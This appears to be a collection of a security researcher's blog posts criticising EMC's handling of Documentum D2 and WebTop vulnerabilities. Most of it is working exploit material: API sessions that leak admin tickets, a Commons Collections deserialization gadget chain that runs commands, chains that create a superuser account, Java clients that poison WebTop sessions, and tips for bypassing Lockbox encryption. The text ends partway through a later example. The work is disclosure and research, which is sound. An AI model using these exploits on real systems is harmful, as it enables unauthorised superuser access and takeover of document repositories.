Say goodbuy LockBox. Part II

Wow, interesting news came from where I didn’t expect: ECN guys states that EMC have stopped torturing customers and gave up the idea of using RSA Lockbox.

Here’s a little history of the Lockbox story that you might want to read:

November 2013

Reported to EMC using support portal, proof of concept how authenticated user was able to gain superuser privileges:

1> create c6_method_return object set message='test' 
2> go 
object_created 
-------------- 
00002ee280000e9b 
(1 row affected) 
1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d2 -password "" -method_return_id 00002ee280000e9b' 
3> go 
... 
(1 row affected) 
1> select message from c6_method_return where r_object_id='00002ee280000e9b' 
2> go 
message 
-------------- 
DM_TICKET=T0..... 
(1 row affected)

January 2014

EMC released Document D2 v 4.2 and some patches for previous versions, no CVE announced. The EMC “solution” was to encrypt data passed through c6_method_return objects

February 2014

Discovered a reflection attack on D2GetAdminTicketMethod method:

1> create c6_method_return object set message='test' 
2> go 
object_created 
---------------- 
00002f0a8000291d 
(1 row affected) 
1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d242 -password "" -method_return_id 00002f0a8000291d 
3> -scope global -timeout 3600' 
4> go 
... 
(1 row affected) 
1> select message from c6_method_return where r_object_id='00002f0a8000291d' 
2> go 
--- 
--- now message contains encrypted data 
--- 
message 
---------------------------------------------------------------------------- 
AAAAEMm1Ypog8dNWsELGoge38HRKVIUnN4/vw4rmz8xJ7EcZuOaQ8rT6vAktbc8g5qV07pme7nt2 
hG4D+ljeR2G5JCystXA8JDDaxmM5xjNfwshe9YldFZBlSinYBvFdigpuZCmTFES+n1b5ZbVC/L7b 
aZ7UI1LI06YhJvRcVjB9mzwMENk8H7KaxDXiFBCEQSiNNn5DoXwjZPWLJd9WTdXIlXpPzWAR2KG+ 
... 
(1 row affected)
1> update c6_method_return object 
2> set parameter_name[0]='-timeout', 
3> set parameter_value[0]=(select message from c6_method_return 
4> where r_object_id='00002f0a8000291d') 
5> where r_object_id='00002f0a8000291d' 
6> go 
objects_updated 
--------------- 
1 
(1 row affected) 
[DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your UPDATE statement." 

1> execute do_method with method='D2GetAdminTicketMethod', 
2> arguments='-docbase_name d242 -password "" -method_return_id 00002f0a8000291d 
3> -scope global' 
4> go 
... 
(1 row affected) 

1> select error from c6_method_return where r_object_id='00002f0a8000291d' 
2> go 
--- 
--- Here NumberFormatException occurs and unencrypted ticked is written 
--- to error field of c6_method_return object 
--- 
error 
---------------------------------------------------------------------------- 
For input string: "DM_TICKET=T0JKIE5VTEwgMAoxMwp2ZXJzaW9uIElOVCBTIDAKMwpmbGFncyBJTlQ 
(1 row affected)

March 2014

EMC released P01 patch for EMC Documentum D2 v4.2, no CVE announced. The vendor “solution” was not to store exception messages into “error” attribute of c6_method_return object if exception message contains “DM_TICKET” character sequence.

April 2014

Discovered another reflection attack based on verbose logging of D2GetAdminTicketMethod:

API> create,c,c6_method_return 
... 
000224838000011f 
API> save,c,l 
... 
OK 
API> apply,c,,DO_METHOD,METHOD,S,D2GetAdminTicketMethod, 
ARGUMENTS,S,' 
-docbase_name d2 
-password "" 
-method_return_id 000224838000011f 
-scope global 
-timeout 3600 
' 
... 
q0 
API> next,c,q0 
... 
OK 
API> dump,c,q0 
... 
USER ATTRIBUTES 

result : 0 
process_id : 0 
launch_failed : F 
method_return_val : 0 
os_system_error : No Error 
timed_out : F 
time_out_length : 100 
app_server_host_name : test 
app_server_port : 9080 
app_server_uri : /DmMethods/servlet/DoMethod 
error_message : 

SYSTEM ATTRIBUTES 


APPLICATION ATTRIBUTES 


INTERNAL ATTRIBUTES 


API> close,c,q0 
... 
OK 
API> revert,c,000224838000011f 
... 
OK 
API> get,c,000224838000011f,message 
... 
AAAAEFRN36mfm+NAm49DQAZol1fSBbIgoELusFMnk4eE6r3qNPm/83NDxqiFyoe7Yt/GOjASn6v2 
v2XjSaJq5MqGK8PgrNPbNz5KSAzxcKTWorJym/7ceZsp9l5pSUcDr1mj8xKg0M/iH8AIS8ZGZ9/L 
2bd1FOth86ISN2OnAIOAlzh32I0/YcLYt7nSSfFWDL9H9qzzkp6Za/NeZt4Z0kE1gYNPaVrlPD4D 
qC4bcSb3p54VeAZCVOgpUp3sJ+8kevoRQSKckOTSinBYF4qQa9pnNYQx8wczFk2/pM0pkCdDigyT 
... 

API> ?,c,update c6_method_return object 
set parameter_name[0]='-timeout', 
set parameter_value[0]=(select message from c6_method_return 
where r_object_id='000224838000011f') 
where r_object_id='000224838000011f' 
objects_updated 
--------------- 
1 
(1 row affected) 
[DM_QUERY_I_NUM_UPDATE]info: "1 objects were affected by your UPDATE statement." 

--- 
--- Here we put extra parameter "SAVE_RESULTS,B,T" to save execution results 
--- of D2GetAdminTicketMethod docbase method 
--- 
API> apply,c,,DO_METHOD,METHOD,S,D2GetAdminTicketMethod, 
ARGUMENTS,S,' 
-docbase_name d2 
-password "" 
-method_return_id 000224838000011f 
-scope global -timeout 3600 
', 
SAVE_RESULTS,B,T 
... 
q0 
API> next,c,q0 
... 
OK 
API> dump,c,q0 
... 
USER ATTRIBUTES 

result : 0902248380002a67 
result_doc_id : 0902248380002a67 
process_id : 0 
launch_failed : F 
method_return_val : 0 
os_system_error : No Error 
timed_out : F 
time_out_length : 100 
app_server_host_name : test 
app_server_port : 9080 
app_server_uri : /DmMethods/servlet/DoMethod 
error_message : 

SYSTEM ATTRIBUTES 


APPLICATION ATTRIBUTES 


INTERNAL ATTRIBUTES 


API> close,c,q0 
... 
OK 
--- 
--- Now message contains encrypted data and error is empty 
--- 
API> get,c,000224838000011f,message 
... 
AAAAEBBMjU2FE27RAOiKSkZdJZM7tl1ht+LhqjvPsmr9DPg3nVgGFyROrETPX6Wy8uuEWbtKSWs3 
MNr8qe3EBNTejbieKZ2YzzUY/46fLdbOQFInczwrNCBoWF9zBnTlhoHK1f+ctpm9nUsK2wJbDZXb 
mk6+1VO5RsUEuFV/qux5LBdXpIr7dRornpDJiBP5hoPILObq4++KvBfhZjaPxEnoOMksfwgmU8XC 
... 
--- 
--- But execution results do contain unencrypted ticket 
--- 
API> get,c,000224838000011f,error 
... 

API> getpath,c,0902248380002a67 
... 
/u01/documentum/cs/data/d2/content_storage_01/00022483/80/00/09/e1.txt 
API> quit 
Bye 
~]$ cat content_storage_01/00022483/80/00/09/e1.txt 
==== START ======================================================= 
D2-API v4.2.0010 build 378 
DFC version : 7.1.0020.0120 
file.encoding : UTF-8 
Arguments : {-docbase_name=d2, 
-method_return_id=000224838000011f, 
-password=, 
-class_name=com.emc.d2.api.methods.D2GetAdminTicketMethod, 
-scope=global, 
-timeout=DM_TICKET=T0JKIE5VTEwgMAoxMwp.... 
} 
-Scope : global 
-TimeOut : 3600 
-SingleUse : true 
==== END (0.095s) ================================================

August 2014

EMC announced CVE-2014-2515, the solution was intended to mitigate previously described reflection attacks

August 2014

Discovered another set of vulnerabilities in implementation of “protection” of D2GetAdminTicketMethod method. The basic idea was: attacker was able to delete any file from CS filesystem, and in case of deletion of Lockbox file D2 started to use default passphrase (i.e. com.emc.d2.api.utils.GetCryptedPassword)

August 2014

EMC announced CVE-2015-4537

February 2015

I got tired and proved that RSA Lockbox is not a security solution: RSA LOCKBOX MAGIC 🙂.

Check and mate.

What DFC version you are on?

Two months ago EMC announced availability of D2 4.6, by tradition there are a lot of “security enhancements” and bug fixes (though I’m not going to describe all security enhancements right now, but it worth to note, the EMC employees failed to answer whether it is safe to use D2 or not from security perspective). Interesting fact that EMC finally released D2 REST API, though they promised to do that at the end of year (not sure what calendar they use, in case of Chinese calendar everything is OK). Interesting thing here is a contents of D2 REST distribution:

$ a=D2-REST-4.6.0.war;zipinfo -1 $a "*.jar"|sed 's!-[0-9].*!*!'|uniq -d|xargs zipinfo $a
  168760 b- defN  5-Jan-16 05:06 WEB-INF/lib/commons-beanutils-core-1.7.0.jar
  206035 b- defN  9-Dec-14 07:33 WEB-INF/lib/commons-beanutils-core-1.8.0.jar
   46725 b- defN  9-Dec-14 08:00 WEB-INF/lib/commons-codec-1.3.jar
   58160 b- defN  5-Jan-16 05:01 WEB-INF/lib/commons-codec-1.4.jar
  575389 b- defN  9-Dec-14 07:33 WEB-INF/lib/commons-collections-3.2.1.jar
  571259 b- defN  5-Jan-16 05:02 WEB-INF/lib/commons-collections-3.2.jar
  271849 b- defN  5-Jan-16 05:06 WEB-INF/lib/commons-configuration-1.5.jar
  298829 b- defN  9-Dec-14 07:33 WEB-INF/lib/commons-configuration-1.6.jar
   59590 b- defN  5-Jan-16 05:04 WEB-INF/lib/commons-fileupload-1.2.2.jar
   68622 b- defN  9-Dec-14 08:03 WEB-INF/lib/commons-fileupload-1.3.jar
  109043 b- defN  5-Jan-16 05:01 WEB-INF/lib/commons-io-1.4.jar
  159509 b- defN  9-Dec-14 08:03 WEB-INF/lib/commons-io-2.0.1.jar
  261809 b- defN  5-Jan-16 05:01 WEB-INF/lib/commons-lang-2.4.jar
  279193 b- defN  9-Dec-14 08:01 WEB-INF/lib/commons-lang-2.5.jar
    9207 b- defN  9-Jan-15 05:02 WEB-INF/lib/configservice-api-7.2.0-20150109.120223-17.jar
    9207 b- defN 19-Feb-16 17:08 WEB-INF/lib/configservice-api-7.2.0-SNAPSHOT.jar
  115166 b- defN  9-Jan-15 05:02 WEB-INF/lib/configservice-impl-7.2.0-20150109.120332-17.jar
  115168 b- defN 19-Feb-16 17:08 WEB-INF/lib/configservice-impl-7.2.0-SNAPSHOT.jar
15301367 b- defN  9-Jan-15 05:02 WEB-INF/lib/dfc-7.2.0-20150109.120126-17.jar
15569763 b- defN 19-Feb-16 17:08 WEB-INF/lib/dfc-7.2.0-SNAPSHOT.jar
    6139 b- defN 10-Jan-15 05:02 WEB-INF/lib/dms-client-api-7.2.0-20150109.141907-6.jar
    6138 b- defN  5-Jan-16 05:09 WEB-INF/lib/dms-client-api-7.2.0-SNAPSHOT.jar
  228286 b- defN  5-Jan-16 05:05 WEB-INF/lib/jackson-core-asl-1.9.2.jar
  228315 b- defN  9-Dec-14 07:32 WEB-INF/lib/jackson-core-asl-1.9.4.jar
  765648 b- defN  5-Jan-16 05:05 WEB-INF/lib/jackson-mapper-asl-1.9.2.jar
  777693 b- defN  9-Dec-14 07:32 WEB-INF/lib/jackson-mapper-asl-1.9.4.jar
  481535 b- defN  5-Jan-16 05:02 WEB-INF/lib/log4j-1.2.16.jar
  489884 b- defN  9-Dec-14 08:01 WEB-INF/lib/log4j-1.2.17.jar
   23659 b- defN  2-Mar-16 14:14 WEB-INF/lib/slf4j-api-1.5.10.jar
   25496 b- defN  9-Dec-14 08:03 WEB-INF/lib/slf4j-api-1.6.1.jar
    9648 b- defN  5-Jan-16 05:11 WEB-INF/lib/slf4j-log4j12-1.5.5.jar
    9753 b- defN  9-Dec-14 08:03 WEB-INF/lib/slf4j-log4j12-1.6.1.jar

Yeah, even building a war-archive is already a challenge 😦

D2 4.6

Well, couple of weeks ago EMC bumped version of D2 and now they claim that this version has some security enhancements and these enhancements are so serious that all customers are recommended to upgrade their installations “at the earliest opportunity”:

Prior to EMC Documentum D2 4.6, many D2 Configuration object types were not properly protected with ACLs. As a result, an authenticated but unprivileged user could then modify or delete such objects.
Resolution

The following EMC Documentum D2 release contains resolutions to these vulnerabilities:

EMC Documentum D2 4.6

EMC recommends that all customers upgrade to D2 4.6 at the earliest opportunity

Yesterday Yuri Simione published a great post containing his thoughts about this vulnerability, unfortunately thoughts of Yuri Simione are just a half of the truth, and the real situation is much worse than you might expect. But before revealing all the cards let concentrate on EMC’s announce only. There are two main points:

The first point is really ridiculous because previously ECM claimed following about support policy for D2 4.5:

New D2 4.5 Support Windows:
Primary support extended to the April 30, 2019
Secondary support extended to April 30 of 2022

And as you can see D2 4.5 is not fully supported anymore. Doesn’t it look enticing to announce long support windows but every year forcibly move customers to new version?

The second point looks strange for me because security impact was either overestimated or underestimated. Take a look at EMC’s estimations:

and try to interpret values of CVSS vector:

  • AV:N – Attack Vector = Network – OK
  • AC:L – Access Complexity = Low – OK
  • PR:L – Privileges Required = Low – OK
  • UI:N – User Interaction = No – OK
  • S:U – Scope = Unchanged – see below
  • C:H – Confidentiality Impact = High – see below
  • I:H – Integrity Impact = High – OK
  • A:H – Availability Impact = High – OK

values of two metrics (Scope and Confidentiality Impact) look extremely doubtful: before D2 4.6 any authenticated user was able to read D2 configs stored in database and in D2 4.6 any authenticated user is able to read D2 configs stored in database, so, I do not see any “Confidentiality Impact” there, and this means that either “Confidentiality Impact” is not properly estimated or EMC tries to hide something. Fortunately, I was the original researcher of the most vulnerabilities in D2 and I do know the truth. Here you can find a list of unresolved vulnerabilities in Documentum product stack, this list was provided by CERT on February 2015, and there you can find following EMC’s comment:

Fixing PSRC-2105 will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

It appears that the fixed releases communicated for this issue were incorrect. This has not been fixed because the vulnerability described in PSRC-2105 (D2 configuration objects not being protected with ACLs) on which it relies has not been fixed yet. However, fixing the latter will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

this comment is related to the following blogpost: CVE-2015-0518. Was it really fixed?

So, the real situation is: if D2 is installed any authenticated user is able to gain superuser privileges, i.e. installation of D2 affects Content Server, so according to CVSS guide (“an exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component”) the value of Scope metric is “Changed” and the real CCVS vector is:

Another two D2 remote code executions. Webtop is affected

That was obvious that Apache Commons Collections is not the only vulnerable library, and on this week another two possibilities were disclosed:

D2 remote code execution

As was promised previously I publish information about a super mega severe vulnerability in D2.

On November-December 2015 I was so busy on a project that I had missed a disclosure of deserialisation vulnerability in Apache Commons Collections Java library. FoxGlove Security blog contains a thorough explanation of what had happened – it is really worth to read it because Gabriel Lawrence, Chris Frohoff and Stephen Breen produced a tremendous amount of work – I was need to read it twice to understand what is going on and I spent about four hours to write a more clear version of exploit (AnnotationInvocationHandler magic was not clear for me):

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "commons-collections:commons-collections:3.1" })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<Map> {

	public Map getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(transformers));

		CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
		handler.setDefaultHandler(new InvocationHandler() {
			public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
				return method.invoke(new HashMap(), args);
			}
		});
		Map<Object, Object> result = new HashMap<Object, Object>();
		result.put(Gadgets.createProxy(handler, Map.class), null);
		Reflections.setFieldValue(handler, "classToInvocationHandler", lazyMap);
		handler.setDefaultHandler(null);

		return result;
	}

}

The interesting thing in all this story is a reaction of vendors and community. Some of people start panic, for example: Using Java? This is The Next Heartbleed You Should Be Worried About (generally, vulnerability in ACC has more in common with Shellshock rather than with Heartbleed – in case of Shellshock if you were using dangerous system(3) call you were bloody idiot, in case of ACC deserialization vulnerability if you accept serialized objects from untrusted sources you are lazy moron, in case of Heartbleed I can’t say something like “suck to be you if you are using TLS”), another people started blaming on researchers:

Because this is so negligent Lawrence and Frohoff didn’t bother to report this directly to the Apache Commons project.

ASF failed to announce vulnerability properly – it is still not clear what versions of ACC library are affected: CERT/CC states that “both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue”, but Frohoff’s PoC is based on 3.1 (version 3.0, which Webtop is based on, is not affected). It seems that the only company which was able to properly evaluate security risks is a Cisco Systems – please check their security advisory, moreover I always respect Cisco for their security advisories: if you ask google about “This vulnerability was discovered by Cisco during internal testing” you get a bunch of references to Cisco’s advisories – could you provide any other company which is doing the same? I don’t think so. For example, EMC states that they also have internal security testing (full presentation is available here):

but have you ever read about vulnerabilities “discovered by EMC during internal testing”? Frankly speaking, EMC states that “In accordance with industry practices, EMC does not share the findings from internal security testing or other types of security activities with external entities.“, but what the heck is “industry practices”? I always thought that if you get paid by customer you must care about customer and keep him informed and secure, moreover Cisco has more employees, more revenue than EMC, do they want to say that Cisco do not follow “industry practices”? So, I doubt that EMC performs any internal testing – at least it is clear that they don’t perform “root cause analysis” and “regression testing“, so, there is no reason for other blocks to be true (though, the half of blog’s subscribers are EMC employees, so it seems that they need to add “blog.documentum.pro” block onto their diagram). But today I’m going to put doubts on “proactively monitoring embedded components” block. Below is what EMC states about “embedded components”:

Well, vulnerability in ACC was announced on November 13, today is February 17, i.e. it is 96 days since announcement of vulnerability in ACC. Let’s check whether D2 contains vulnerable library:

[dmadmin@docu72dev01 distr]$ unzip D2_4.5.0_P05.zip 
Archive:  D2_4.5.0_P05.zip
   creating: D2_4.5.0_P05/
   creating: D2_4.5.0_P05/Plugins/
  inflating: D2_4.5.0_P05/D2-Configurator_4.5.0.jar  
  inflating: D2_4.5.0_P05/D2-Installer-4.5.0.jar  
  inflating: D2_4.5.0_P05/Plugins/D2-BOCS-4.5.0.war  
  inflating: D2_4.5.0_P05/Plugins/D2-RPS-Dar-Install.zip  
[dmadmin@docu72dev01 distr]$ cd D2_4.5.0_P05
[dmadmin@docu72dev01 D2_4.5.0_P05]$ java -jar D2-Installer-4.5.0.jar 
...
[dmadmin@docu72dev01 D2]$ zipinfo D2.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 15-Aug-18 14:38 WEB-INF/lib/commons-collections-3.2.jar
[dmadmin@docu72dev01 D2]$ zipinfo D2-Config.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 13-Jul-23 19:44 WEB-INF/lib/commons-collections-3.2.jar

Oops…

Note, that my proof of concept does not execute operating system commands like was demonstrated in Frohoff’s PoC – instead of that it creates Documentum user with superuser privileges. I have noticed that many researches like to describe how their proof of concepts work, so I will try to do the same, however if you get bored you can stop reading this post and get my proof of concept here.

Motivation

At first, initial proof of concept is bit boring: on the one hand we (Documentum users) already have a component which is able to execute arbitrary shell commands (I’m talking about Content Server), on the other hand such proof of concept assumes that attacker executes shell commands blindly, i.e. to understand wether service is vulnerable or not we need to somehow get information about whether command was executed or not, for example, we may use ping to send packets to monitored host, but what if victim service is located behind a firewall? So, creating a new user is more practicable.

At second, this blog is about Documentum, writing something like “take a look, D2 contains vulnerable java library” is boring.

First challenge

Well. The first challenge was to get DFC session without knowing any Documentum credentials, actually if DevOp is so stupid to leave default passwords for dmc_wdk_preferences_owner/dmc_wdk_presets_owner users unchanged we may construct DFC session using following code:

new DfClient().newSession("docbase", new DfLoginInfo("username", "password"));

or using very limited API provided by ACC library it will look like:

Transformer getSession = new ChainedTransformer(new Transformer[] { new ConstantTransformer(DfClient.class),
		new InstantiateTransformer(new Class[0], new Object[0]),
		new InvokerTransformer("newSession", new Class[] { String.class, IDfLoginInfo.class },
				new Object[] { "docbase", new DfLoginInfo("username", "password") }) });
getSession.transform(null);

What if we do not know Documentum credentials at all? I have found a following way to get dm_bof_registry’s session:

((List) RuntimeContext.getInstance().getSessionRegistry().getAllSessions()).get(0);

or the same using ACC API:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Now there are two other challenges:

  • we need to somehow execute docbase queries
  • we need to somehow evaluate privileges

The third one is less important: at first, I know about 10 ways to evaluate privileges in Documentum (haha, keep me away from accessing your Documentum, otherwise it hurts me because I don’t like making a choice), at second, if you are lucky enough SessionRegistry may contain privileged sessions – just play with array’s index, at third, in order to evaluate privileges it is still required to execute queries.

Second challenge

  • It is not possible to invoke com.documentum.fc.client.IDfQuery#execute using ACC API – it accepts IDfSession as argument
  • com.documentum.fc.client.IDfSession#apply looks like what we need, but it accepts IDfList as argument, and IDfList has no serializable implementations
  • com.documentum.fc.client.impl.session.ISession#query(java.lang.String, boolean, boolean) – good candidate if we need to execute DQL queries only
  • com.documentum.fc.client.impl.docbase.DocbaseApi#parameterizedApply is our champion – it allows to execute arbitrary RPC command

Below is a serializable chain to create Documentum user:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Transformer getDocbaseAPI = new ChainedTransformer(
		new Transformer[] { getSession, new InvokerTransformer("getDocbaseApi", new Class[0], new Object[0]) });

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");

Transformer createUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI,
		new InvokerTransformer("parameterizedApply",
				new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class },
				new Object[] { "EXEC", DfId.DF_NULLID, createUserQuery, false }),
		new ConstantTransformer(null) });

Third challenge

The most obvious idea to evaluate privileges in Documentum is to take advantage of dcs_privileged_users group, i.e. relying on previous code it may look like:

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");
createUserQuery.appendString(" __REQUESTED_PROTECTED_ROLES", "dcs_privileged_users");

Unfortunately this idea is doomed to failure in case of D2 4.5 – dcs_privileged_users is now secured. Most of other ways require a lot of coding because ACC API is extremelly limited, so I have chosen an approach described in When will EMC stop fighting with customers and start care about them? blogpost:

ITypedData createRegisteredQuery = new DynamicallyTypedData();
createRegisteredQuery.appendBoolean("IS_NEW_OBJECT", true);
createRegisteredQuery.appendString("OBJECT_TYPE", "DM_REGISTERED");
createRegisteredQuery.appendInt("i_vstamp", 0);
createRegisteredQuery.appendString("table_name", "dm_user_s");
createRegisteredQuery.appendString("table_owner", docbaseName);
createRegisteredQuery.appendString("owner_name", docbaseName);
createRegisteredQuery.appendInt("world_permit", 7);
createRegisteredQuery.appendString("object_name", "dm_user_s");
createRegisteredQuery.appendInt("owner_table_permit", 15);
createRegisteredQuery.appendInt("group_table_permit", 15);
createRegisteredQuery.appendInt("world_table_permit", 15);
createRegisteredQuery.appendString("r_object_type", "dm_registered");

Transformer createRegistered = new ChainedTransformer(
		new Transformer[] { getDocbaseAPI,
				new InvokerTransformer("parameterizedApply", new Class[] { String.class, IDfId.class,
						ITypedData.class, boolean.class },
				new Object[] { "SysObjSave", new DfId("1900000080000001"), createRegisteredQuery, false }),
		new ConstantTransformer(null) });

The funny thing here is Content Server allows to create objects having out-of-sequence r_object_id, moreover, it seems that Content Server ignores docbase part of r_object_id – we do not need to execute NEXT_ID_LIST RPC command to acquire brand new r_object_id.

Webtop

Previously I noticed that Webtop contains ACC library of version 3.0 and it this version is not affected, unfortunately, this is only a half of the truth. If we consider the problem more globally, i.e. “if you accept serialized objects from untrusted sources you are lazy moron“, everything become more interesting. Well, all wdk applications have an extremely ancient servlet:

    <servlet>
        <description>Servlet used by applets to return results</description>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <servlet-class>com.documentum.web.servlet.AppletResultSink</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <url-pattern>/wdk5-appletresultsink</url-pattern>
    </servlet-mapping>

This servlet do something like:

protected void service(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    String contentType = request.getContentType();
    if (!"application/x-www-form-urlencoded".equals(contentType)
            && !"application/x-deflated-java-serialized-object".equals(contentType)) {
        ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
        SessionState.setAttribute(ois.readObject().toString(), ois.readObject());
    }
}

Amazing, wdk5-appletresultsink servlet allows to inject arbitrary value into HttpSession. Now, do you have any idea how PrivilegeQualifier and RoleQualifier work? Actually, they both do something like:

@Override
public String getScopeValue(QualifierContext qualifierContext) {
	String userName = SessionManagerHttpBinding.getUsername();
	IDfSessionManager sessionManager = SessionManagerHttpBinding.getSessionManager();
	IDfSession session = null;
	try {
		 session = sessionManager.getSession(SessionManagerHttpBinding.getCurrentDocbase());
		// some logic here
	} finally {
		if (session != null) {
			sessionManager.release(session);
		}
	}
}

What the heck is SessionManagerHttpBinding.getUsername()? Actually, it does something like:

public static String getUsername() {
	String docbase = getCurrentDocbase();
	String userKey = docbase + ".dctm.roleService.username";
	return SessionState.getAttribute(userKey);
}

So, we may poison PrivilegeQualifier and RoleQualifier qualifiers by poisoning HttpSession, i.e.:

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];

	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	oos.writeObject(docbase + ".dctm.roleService.username");
	oos.writeObject(docbase);
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

The problem is in recent WDK versions EMC introduced dumb security checks and we can’t open /webtop/component/api directly, good news is those checks are also based on HttpSession.

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];
	sendRequest(url, jsessionId, docbase + ".dctm.roleService.username", docbase);
	RandomIdCache cache = new RandomIdCache();
	cache.put(String.valueOf(0), null);
	sendRequest(url, jsessionId, "RandomIdCache", cache);
}

public static void sendRequest(String url, String jsessionId, Object... data) throws Exception {
	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	for (Object o : data) {
		oos.writeObject(o);
	}
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

Q & A. X

Q:

Hi,
I am trying to write a standalone DF/D2 program. I create a DFC session and then make it in D2 context by D2Session.initTBO. I think perform normal DFC set, save operation on a sysobject. When I try to apply a D2 configuration like D2AuditConfig.apply I get the below error How to correct this??

ERROR 1 – D2 lockbox file or D2Method.passphrase property within it could not be found.
Exception in thread “main” DfException:: THREAD: main; MSG: Impossible to decrypt the method server response; ERRORCODE: ff; NEXT: null
at com.emc.d2.api.methods.D2Method.start(D2Method.java:417)

A:

You have two options:

  • put and setup all Lockbox stuff onto client side
  • Take advantage of reflection:
    Field ticketField = D2Session.class.getField("s_ticket");
    ticketField.setAccessible(true);
    Map tickets = (Map) ticketField.get(null);
    tickets.put("docbase_name", "dmadmin_password");
    

Q:

Also, cant it disable Lockbox altogether in 7.2+D24.5 environment?

A:

Download latest (or m.b. previous to latest or so) service pack for D2 4.2, extract com.emc.common.java.crypto.AESCrypto class from C6-Common-4.2.0.jar, insert it into C6-Common-4.5.0.jar.

CVE-2015-0518. Was it really fixed?

Three weeks ago EMC announced CVE-2015-0518:

A method in the Properties service of the D2FS web service component may allow a low privileged D2 user to manipulate group permissions and obtain superuser privileges.

You can find related PoC in Second dive into D2 security. This vulnerability is also mentioned in CERT’s spreadsheet. If you were lucky and were able to download the first version of CERT’s spreadsheet (otherwise you can find it here) you can find following EMC’s comment about this vulnerability:

It appears that the fixed releases communicated for this issue were incorrect. This has not been fixed because the vulnerability described in PSRC-2105 (D2 configuration objects not being protected with ACLs) on which it relies has not been fixed yet. However, fixing the latter will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

So, besides that D2 actively uses docbase methods (which is insecure, unreliable, etc) it also does not protect its config objects from editing by regular user – I bet such weird implementation was caused by misleading performance tips from EMC:

What really happened in CVE-2015-0518? EMC fixed a PoC described in Second dive into D2 security, “new” (the previous one just truncated value of node_admin_security_group attribute in d2_options object) PoC is:

api:

API> retrieve,c,d2_options
...
000224838000012c
